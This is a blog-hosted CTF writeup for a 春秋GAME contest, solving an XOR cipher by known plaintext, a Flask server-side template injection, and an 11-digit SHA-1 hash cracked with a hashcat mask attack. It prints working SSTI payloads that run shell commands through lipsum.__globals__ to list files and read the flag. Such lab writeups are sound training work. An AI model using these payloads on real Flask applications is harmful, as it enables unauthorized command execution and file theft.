春秋GAME WP
春秋GAME WRITEUP
一、个人信息
个人名称:infinite
个人排名:647
二、解题情况


三、解题过程
一、简单算术
操作内容:
拿到文件,
1 | ys~xdg/m@]mjkz@vl@z~lf>b |
给了这一串东西,显然经过加密了,题目提示异或,考虑先转化为二进制
使用文本转二进制工具[(https://uutool.cn/txt2bin/),转换得到,
1 | 1111001 1110011 1111110 1111000 1100100 1100111 101111 1101101 1000000 1011101 1101101 1101010 1101011 1111010 1000000 1110110 1101100 1000000 1111010 1111110 1101100 1100110 111110 1100010 |
明文应该含有flag,将这flag四个字符转为二进制
1 | 1100110 1101100 1100001 1100111 |
根据异或的提示,反推密钥
对比发现,密钥应该是0011111一直重复
于是编写脚本
1 | str = "1111001 1110011 1111110 1111000 1100100 1100111 0101111 1101101 1000000 1011101 1101101 1101010 1101011 1111010 1000000 1110110 1101100 1000000 1111010 1111110 1101100 1100110 0111110 1100010".split(" ") |
得到flag
flag值:
flag{x0r_Brute_is_easy!}
二、easy_flask
操作内容:
题目提示了是Flask框架,常见的是SSTI注入

使用
1 | {{7*7}} |
进行测试,发现存在SSTI漏洞
利用
1 | lipsum.__globals__ |
自带os模块进行注入
先看看flag在哪
1 | /?user={{lipsum.__globals__.__builtins__.__import__('os').popen('ls').read()}} |

发现就是flag文件,使用cat打开即可
1 | /?user={{lipsum.__globals__.__builtins__.__import__('os').popen('cat flag').read()}} |

flag值:
flag{48ad0cde8345c8b2608933ac4e85147e}
三、通往哈希的旅程
操作内容:
根据题目意思,得知是纯数字的HASH值,直接使用hashcat爆破即可
首先用HashIdentifier识别HASH加密方式

最有可能的是SHA-1
于是用Hashcat破解
1 | hashcat.exe -m 100 -a 3 ca12fd8250972ec363a16593356abb1f3cf3a16d ?d?d?d?d?d?d?d?d?d?d?d |
拿到flag

flag值:
flag{18876011645}
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 infinite_blog!